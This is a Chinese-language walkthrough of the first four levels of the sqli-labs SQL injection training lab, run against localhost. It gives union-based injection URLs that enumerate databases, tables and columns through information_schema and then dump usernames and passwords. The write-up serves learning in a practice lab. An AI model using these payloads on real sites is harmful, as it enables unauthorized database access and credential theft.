Background-1 基础知识
猜数据库:
select schema_name from information_schema.schemata
猜某库的数据表:
select table_name from information_schema.tables where table_schema=’xxxxx’
猜某表的所有列:
Select column_name from information_schema.columns where table_name=’xxxxx’
获取某列的内容:
Select *** from ****
less-01:
/*SELECT * FROM users WHERE id='1' LIMIT 0,1;
limit 0,1;其中第一位是从第几个开始,比如0表示从第一个开始;而第二位的1代表的就是显示多少个数据;
SELECT * FROM users WHERE id='1' or 1=1-- ' LIMIT 0,1;
--+、-- 、#都是sql里面的注释符
or、and*/
1、查看是否有注入:http://localhost/sqli-labs/Less-1/?id=1(2、3……)
2、http://localhost/sqli-labs/Less-1/?id=3'or 1=1--+
3、查看有多少列:http://localhost/sqli-labs/Less-1/?id=1'order by 3--+
4、查看哪些数据可以回显:http://localhost/sqli-labs/Less-1/?id=-1'union select 1,2,3--+
5、查看数据库security:http://localhost/sqli-labs/Less-1/?id=-1' union select 1,2,schema_name from information_schema.schemata limit 4,1--+
查看所有数据库:http://localhost/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+
6、查表:http://localhost/sqli-labs/Less-1/?id=-1' union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479(‘security’)--+
查看所有表:http://localhost/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(table_name) from
information_schema.tables where table_schema=0x7365637572697479(‘security’)--+
7、查询列信息:http://localhost/sqli-labs/Less-1/?id=-1' union select 1,2,column_name from information_schema.columns
where table_name=0x7573657273(0xusers)--+
查询所有的列信息:http://localhost/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(column_name) from
information_schema.columns where table_name=0x7573657273(0xusers)--+
8、查询一个账号和密码:http://localhost/sqli-labs/Less-1/?id=-1' union select 1,2,concat_ws('~',username,password)
from security.users limit 1,1--+
直接得到所有账号和密码,并使用~符号进行分割:http://localhost/sqli-labs/Less-1/?id=-1' union select
1,2,group_concat(concat_ws('~',username,password)) from security.users --+
less-02:
其余的 payload 与 less1 中相同,只需要将 less1 中的 ‘ 去掉即可。
less-03:
其余的 payload 与 less1 中相同,只需要将 less1 中的 ‘ 添加) 即’)
less-04:
其余的 payload 与 less1 中相同,只需要将 less1 中的 ‘ 更换为 “)